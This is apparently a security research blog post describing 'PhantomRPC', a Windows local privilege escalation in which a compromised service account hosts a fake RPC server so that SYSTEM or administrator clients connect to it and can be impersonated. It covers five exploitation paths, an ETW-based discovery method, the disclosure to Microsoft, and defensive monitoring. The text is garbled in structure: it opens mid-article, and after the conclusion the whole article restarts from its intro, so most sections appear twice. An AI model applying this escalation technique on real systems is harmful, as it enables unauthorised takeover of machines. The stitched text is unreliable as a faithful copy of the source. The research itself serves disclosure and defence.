Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.

Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.

Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.

However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?

Could the attacker deploy a fake RPC server with the same endpoint?

If so, would the RPC runtime allow the client to connect to this illegitimate server?

And if the connection is successful, how could an attacker leverage this behavior?

Coercing the Group Policy service

To better understand the implications of the previously described behavior, let us consider the following attack scenario.

Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.

The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.

Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).

When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.

As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.

When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.

RPC architecture flow

Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.

Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.

However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.

As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.

Identifying RPC calls to unavailable servers

As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.

Specifically, I need to capture key RPC metadata, including:

  • Interface UUID, endpoint, and OPNUM.
  • Impersonation level and RPC status code.
  • Client process privilege level, process name, and module path.

This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.

The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.

Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.

ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:

  • RPC bindings
  • Endpoints
  • Interface UUIDs
  • Authentication details
  • Call flow and timing
  • RPC status codes

However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.

For an event to be relevant to this research, the exception must meet two conditions:

  • It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
  • The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.

I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.

After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.

The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:

  • Status code
  • Client process name
  • Client process ID
  • Endpoint

After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.

However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.

By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:

  • Interface UUID
  • OPNUM
  • Impersonation level

After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:

  • The DLL where the RPC interface is implemented
  • The location of that DLL
  • The number of procedures exposed by the interface

To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.

At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.

One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.

In this research, I used several approaches to trigger such events:

  1. Monitoring RPC activity during system startup
    I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
  2. Triggering administrative operations
    I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
  3. Disabling services intentionally
    After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.

Additional privilege escalation paths

After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.

User interaction: From Edge to RDP

Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.

As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.

The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.

However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.

When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.

As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.

Background services: From WDI to RDP

Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.

During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.

This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.

In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.

Abusing the Local Service account: From ipconfig to DHCP

Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.

The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.

In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.

As the figure below illustrates, the attacker can leverage this situation to escalate privileges.

After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.

When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.

As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

Abusing Time

The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.

The service exposes an RPC server with two endpoints:

  • \PIPE\W32TIME_ALT
  • \RPC Control\W32TIME_ALT

The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.

An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.

As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.

Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.

Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.

Vulnerability disclosure

After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.

Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.

Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.

Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.

The disclosure timeline is shown below:

  • 2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
  • 2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
  • 2026-04-24: expected whitepaper publication date.

Detection and defense

As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.

Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.

I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.

By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.

It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.

Conclusion

All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.

Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.

PhantomRPC: A new privilege escalation technique in Windows RPC

24 April 2026 at 10:00

Intro

Windows Interprocess Communication (IPC) is one of the most complex technologies within the Windows operating system. At the core of this ecosystem is the Remote Procedure Call (RPC) mechanism, which can function as a standalone communication channel or as the underlying transport layer for more advanced interprocess communication technologies. Because of its complexity and widespread use, RPC has historically been a rich source of security issues. Over the years, researchers have identified numerous vulnerabilities in services that rely on RPC, ranging from local privilege escalation to full remote code execution.

In this research, I present a new vulnerability in the RPC architecture that enables a novel local privilege escalation technique likely in all Windows versions. This technique enables processes with impersonation privileges to elevate their permissions to SYSTEM level. Although this vulnerability differs fundamentally from the “Potato” exploit family, Microsoft has not issued a patch despite proper disclosure.

I will demonstrate five different exploitation paths that show how privileges can be escalated from various local or network service contexts to SYSTEM or high-privileged users. Some techniques rely on coercion, some require user interaction and some take advantage of background services. As this issue stems from an architectural weakness, the number of potential attack vectors is effectively unlimited; any new process or service that depends on RPC could introduce another possible escalation path. For this reason, I also outline a methodology for identifying such opportunities.

Finally, I examine possible detection strategies, as well as defensive approaches that can help mitigate such attacks.

MSRPC

Microsoft RPC (Remote Procedure Call) is a Windows technology that enables communication between two processes. It enables one process to invoke functions that are implemented in another process, even though they are running in different execution contexts.

The figure below illustrates this mechanism.

Let us assume that Host A is running two processes: Process A and Process B. Process B needs to execute a function that resides inside Process A. To enable this type of interaction, Windows provides the Remote Procedure Call (RPC) architecture, which follows a client–server model. In this model, Process A acts as the RPC server, exposing its functionality through an interface, in our example, Interface A. Each RPC interface is uniquely identified by a Universally Unique Identifier (UUID), which is represented as a 128-bit value. This identifier enables the operating system to distinguish one interface from another.

The interface defines a set of functions that can be invoked remotely by the RPC client implemented in Process B. In our example, the interface exposes two functions: Fun1 and Fun2.

To communicate with the server, the RPC client must establish a connection through a communication endpoint. An endpoint represents the access point that enables transport between the client and the server. Because RPC supports multiple transport mechanisms, different endpoint types may exist, depending on the underlying transport.

For example:

  • When TCP is used as the transport layer, the endpoint is a TCP port.
  • When SMB is used, communication occurs through a named pipe.
  • When ALPC is used, the endpoint is an ALPC port.

Each transport mechanism is associated with a specific RPC protocol sequence. For instance:

  • ncacn_ip_tcp is used for RPC over TCP.
  • ncacn_np is used for RPC over named pipes.
  • ncalrpc is used for RPC over ALPC.

In this research, I focus specifically on Advanced Local Procedure Call (ALPC) as the RPC transport mechanism. ALPC is a Windows interprocess communication mechanism that predates MSRPC. Today, RPC can leverage ALPC as an efficient transport layer for communication between processes located on the same machine.

For simplicity, an ALPC port can be thought of as a communication channel similar to a file, where processes can send messages by writing to it, and receive messages by reading from it.

When the client wants to invoke a remote function, for example, Fun1, it must construct an RPC request. This request includes several important pieces of information, such as the interface UUID, the protocol sequence, the endpoint, and the function identifier. In RPC, functions are not referenced by name, but by a numerical identifier called the operation number (OPNUM). Depending on the requirements of the call, the request may also contain additional structures, such as security-related information.

Impersonation in Windows

In Windows, impersonation enables a service to temporarily operate using another user’s security context. For example, a service may need to open a file that belongs to a user while performing a specific operation. By impersonating the calling user, the system allows the service to access that file, even if the service itself would not normally have permission to do so. You can read more about impersonation in James Forshaw’s book Windows Security Internals.

This research focuses specifically on RPC impersonation. Instead of describing the interaction as a service and a user, I refer to the participants as a client and a server. In this model, the RPC server may temporarily adopt the identity of the client that initiated the request.

To perform this operation, the RPC server can call the RpcImpersonateClient API, which causes the server thread to execute under the client’s security context.

However, in some situations, a client may not want the server to be able to impersonate its identity. To control this behavior, Windows introduces the concept of an impersonation level. This defines how much authority the client grants the server to act on its behalf.

These settings are defined as part of the Security Quality of Service (SQOS) parameters, specified using the SECURITY_QUALITY_OF_SERVICE structure.

As you can see, this structure contains the impersonation level field, which determines the extent to which the server can assume the client’s identity.

Impersonation levels range from Anonymous, where the server cannot impersonate the client at all, to Impersonate and Delegate, which allow the server to act fully on behalf of the client.

At the same time, not every server process is allowed to impersonate a client. If any process could perform impersonation freely, it would pose a serious security risk. To prevent this, Windows requires the server process to possess a specific privilege called SeImpersonatePrivilege. Only processes with this privilege can successfully impersonate a client.

This privilege is granted by default to certain service accounts, such as Local Service and Network Service.

Interaction between Group Policy service and TermService

The Group Policy Client service (gpsvc) is a core Windows service responsible for applying and enforcing group policy settings on a system. It runs under the SYSTEM account inside svchost.exe.

When a group policy update is triggered, Windows uses an executable called gpupdate.exe. This tool can be executed with the /force flag to force an immediate refresh of all group policy settings. Internally, this executable communicates with the Group Policy service, which coordinates the update process.

At a certain stage during this operation, the Group Policy service attempts to communicate with TermService (Terminal Service, the Remote Desktop Services service) using RPC.

TermService is responsible for providing remote desktop functionality. This service is not running by default and can be enabled manually by the administrator via activation of Remote Desktop access. When this happens, the service exposes an RPC server with multiple interfaces and endpoints. TermService runs under the NT AUTHORITY\Network Service account.

When the command gpupdate /force is executed, the Group Policy service performs an RPC call to the TermService using the following parameters:

  • UUID: bde95fdf-eee0-45de-9e12-e5a61cd0d4fe.
  • Endpoint: ncalrpc:[TermSrvApi].
  • Function: void Proc8(int).

However, because TermService is disabled by default, the RPC call fails and an exception occurs in rpcrt4.dll (the RPC runtime). The returned error is:

  • 0x800706BA (RPC_S_SERVER_UNAVAILABLE, 1722).

This error indicates that the RPC client could not reach the target server.

Tracing the failure path further reveals that the root cause originates from a call to NtAlpcConnectPort, which is used by RPC to establish an ALPC connection between processes.

The NtAlpcConnectPort function is responsible for connecting to a specific ALPC port and returning a handle that the client can use for further communication. This function accepts multiple parameters.

The first two parameters include:

  • A pointer to the returned port handle.
  • The ALPC port name, represented as an ASCII string.

Another important argument is PortAttributes, which is an ALPC_PORT_ATTRIBUTES structure. Inside this structure is the SECURITY_QUALITY_OF_SERVICE structure, which, as mentioned above, defines the impersonation level used for the connection.

The final parameter of interest is RequiredServerSid, which specifies the expected identity of the target server process. This identity is represented using a Security Identifier (SID) structure.

Inspecting this call reveals that the Group Policy service attempts to connect to the RPC server using an impersonation level of Impersonate, expecting the remote server to run under the Network Service account. This behavior makes sense because TermService normally runs under Network Service.

Based on all the information above, the following scheme can be created to illustrate the interaction between TermService and gpsvc.

Up to this point, nothing unusual has occurred. An RPC client attempts to connect to an RPC server that is unavailable, resulting in an exception handled by the RPC runtime.

However, an interesting question arises: What if an attacker compromises a service that runs under the Network Service identity and mimics the exact RPC server exposed by TermService?

Could the attacker deploy a fake RPC server with the same endpoint?

If so, would the RPC runtime allow the client to connect to this illegitimate server?

And if the connection is successful, how could an attacker leverage this behavior?

Coercing the Group Policy service

To better understand the implications of the previously described behavior, let us consider the following attack scenario.

Imagine an attacker has compromised a service running on the system under the Network Service account, for example, an IIS server operating under the Network Service account. With this level of access, the attacker can deploy a malicious RPC server.

The attacker’s RPC server is designed to mimic the RPC interface exposed by the Remote Desktop service (TermService). Specifically, it implements the same RPC interface UUID and exposes the same endpoint name: TermSrvApi. Once deployed, the malicious server listens for RPC requests that would normally be directed to the legitimate RDP service.

Next, the attacker coerces the Group Policy service by triggering a policy update using gpupdate.exe /force. This causes the Group Policy Client service, which runs under the SYSTEM account, to perform the previously described RPC call. As observed earlier, this RPC call uses a high impersonation level (Impersonate).

When the attacker’s fake RPC server receives the request, it calls RpcImpersonateClient. This enables the server thread to impersonate the security context of the calling client, which, in this case, is SYSTEM.

As a result, the attacker can elevate privileges from Network Service to SYSTEM. In our proof-of-concept implementation, the exploit demonstrates privilege escalation by spawning a SYSTEM-level command prompt.

When this attack scenario was first discussed, it was purely theoretical. However, after implementing the malicious RPC server, the experiment confirmed that Windows allowed the server to be deployed and started successfully, and that the RPC runtime permitted the client to connect to the malicious endpoint. This made it possible to reliably escalate privileges from Network Service to SYSTEM using this technique. For this attack to succeed, though, at least one group policy must be applied on the system.

RPC architecture flow

Further investigation revealed that many Windows services attempt to communicate with TermService using RPC. These RPC calls often originate from winsta.dll, which acts as the RPC client component.

Windows processes invoke APIs exposed by winsta.dll; these APIs rely internally on RPC communication with TermService. This pattern is common in Windows; many system DLLs use RPC behind the scenes when their exported APIs are called.

However, it appears that the RPC runtime (rpcrt4.dll) does not provide a mechanism to verify the legitimacy of RPC servers. Moreover, Windows allows another process to deploy an RPC server that exposes the same endpoint as a legitimate service.

As a result, this architectural design introduces a large attack surface because RPC is heavily used across numerous system DLLs. Applications that invoke seemingly benign APIs may unintentionally trigger privileged RPC interactions. Under certain conditions, these interactions could be abused to achieve local privilege escalation without the user’s knowledge.

Identifying RPC calls to unavailable servers

As the issue appears to stem from an architectural weakness, a systematic approach is needed to identify RPC clients attempting to communicate with servers that are unavailable. First, I need a platform capable of monitoring RPC activity and extracting relevant information from each RPC request.

Specifically, I need to capture key RPC metadata, including:

  • Interface UUID, endpoint, and OPNUM.
  • Impersonation level and RPC status code.
  • Client process privilege level, process name, and module path.

This information is critical because it enables me to reconstruct the RPC interaction, mimic the expected RPC server, and determine how the call is triggered.

The platform that provides this capability is Event Tracing for Windows (ETW). ETW is a built-in Windows logging framework that captures both kernel-mode and user-mode events in real time.

Windows provides a tool called logman to collect ETW data. It enables us to create trace sessions, select event providers, and configure the verbosity level of the tracing process. The collected tracing data is stored in an .etl file, which can later be analyzed using tools such as Event Viewer or other ETW analysis utilities.

ETW provides deep visibility into RPC activity without requiring modifications to applications. Through ETW, it is possible to capture detailed RPC information, such as:

  • RPC bindings
  • Endpoints
  • Interface UUIDs
  • Authentication details
  • Call flow and timing
  • RPC status codes

However, I’m not interested in every RPC event. My focus is on RPC call failures, specifically those that return the status RPC_S_SERVER_UNAVAILABLE.

For an event to be relevant to this research, the exception must meet two conditions:

  • It must originate from a high-privileged process because impersonating such a process may allow an attacker to escalate privileges to a more powerful security context.
  • The RPC call must use a high impersonation level, enabling the server to fully impersonate the client once the connection is established.

I cannot rely solely on the raw ETW output to implement this framework because it contains thousands of events, making manual filtering with standard tools inefficient. Therefore, I need to automate this process. The workflow shown below enables me to efficiently filter and extract only those events that are relevant to this analysis.

After generating the logs as an .etl file, I convert them to JSON format using tools such as etw2json. JSON is a much easier format to process programmatically. In this case, I use a Python script to filter and extract the relevant information.

The filtering process begins with a search for Event ID 1, which corresponds to an RPC stop event. This event indicates that the RPC client has completed the call and the result is available. From this event, I can extract useful information, such as:

  • Status code
  • Client process name
  • Client process ID
  • Endpoint

After extracting the status code, I filter for the specific value RPC_S_SERVER_UNAVAILABLE, which indicates that the target server was unreachable during an RPC call. These events represent the scenarios that are of interest.

However, Event ID 1 does not contain all of the required RPC metadata. To obtain the missing information, it is correlated with Event ID 5, which represents the RPC start event. This event is generated when the client initiates the RPC call.

By matching the metadata between Event ID 1 and Event ID 5, I can recover the missing details, including:

  • Interface UUID
  • OPNUM
  • Impersonation level

After correlating and filtering these events, a JSON entry is obtained that is almost ready for analysis. At this stage, the data can be enriched further by adding context that will be helpful when reversing or analyzing the RPC server implementation. For example, the following can be identified:

  • The DLL where the RPC interface is implemented
  • The location of that DLL
  • The number of procedures exposed by the interface

To retrieve this information, I match the UUID with an external RPC interface database. In this case, I used the RPC database, which contains a comprehensive list of RPC interfaces and their corresponding DLL implementations.

At the end of this process, a complete JSON dataset is obtained that can be used for further analysis.

One important observation is that the RPC calls I am looking for may only occur when specific system actions are triggered. Additionally, the resulting exceptions may vary from one system to another depending on which services are enabled or disabled. Therefore, I need a reliable way to generate these RPC exceptions.

In this research, I used several approaches to trigger such events:

  1. Monitoring RPC activity during system startup
    I observed RPC activity while the system booted. During startup, many services initialize and perform various RPC calls, which increases the chances of capturing calls to unavailable servers.
  2. Triggering administrative operations
    I developed PowerShell scripts that perform common administrative tasks, such as updating Group Policy, changing network settings, or creating new users. These operations often trigger RPC communication and may generate exceptions.
  3. Disabling services intentionally
    After observing that Remote Desktop was disabled by default, I extended this idea by disabling additional services one by one and repeating the previous steps. This approach can reveal RPC clients that attempt to connect to services that are no longer available.

Additional privilege escalation paths

After running the logging and monitoring framework described earlier, I identified four additional scenarios that can lead to privilege escalation. The following sections introduce each case and explain how escalation can be achieved.

User interaction: From Edge to RDP

Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.

As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.

The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.

However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.

When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.

As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.

Background services: From WDI to RDP

Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.

During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.

This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.

In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.

Abusing the Local Service account: From ipconfig to DHCP

Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.

The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.

In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.

As the figure below illustrates, the attacker can leverage this situation to escalate privileges.

After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.

When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.

As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

Abusing Time

The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.

The service exposes an RPC server with two endpoints:

  • \PIPE\W32TIME_ALT
  • \RPC Control\W32TIME_ALT

The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.

An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.

As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.

Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.

Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.

In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.

Vulnerability disclosure

After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.

Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.

Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.

Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.

The disclosure timeline is shown below:

  • 2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
  • 2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
  • 2026-04-24: expected whitepaper publication date.

Detection and defense

As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.

Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.

I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.

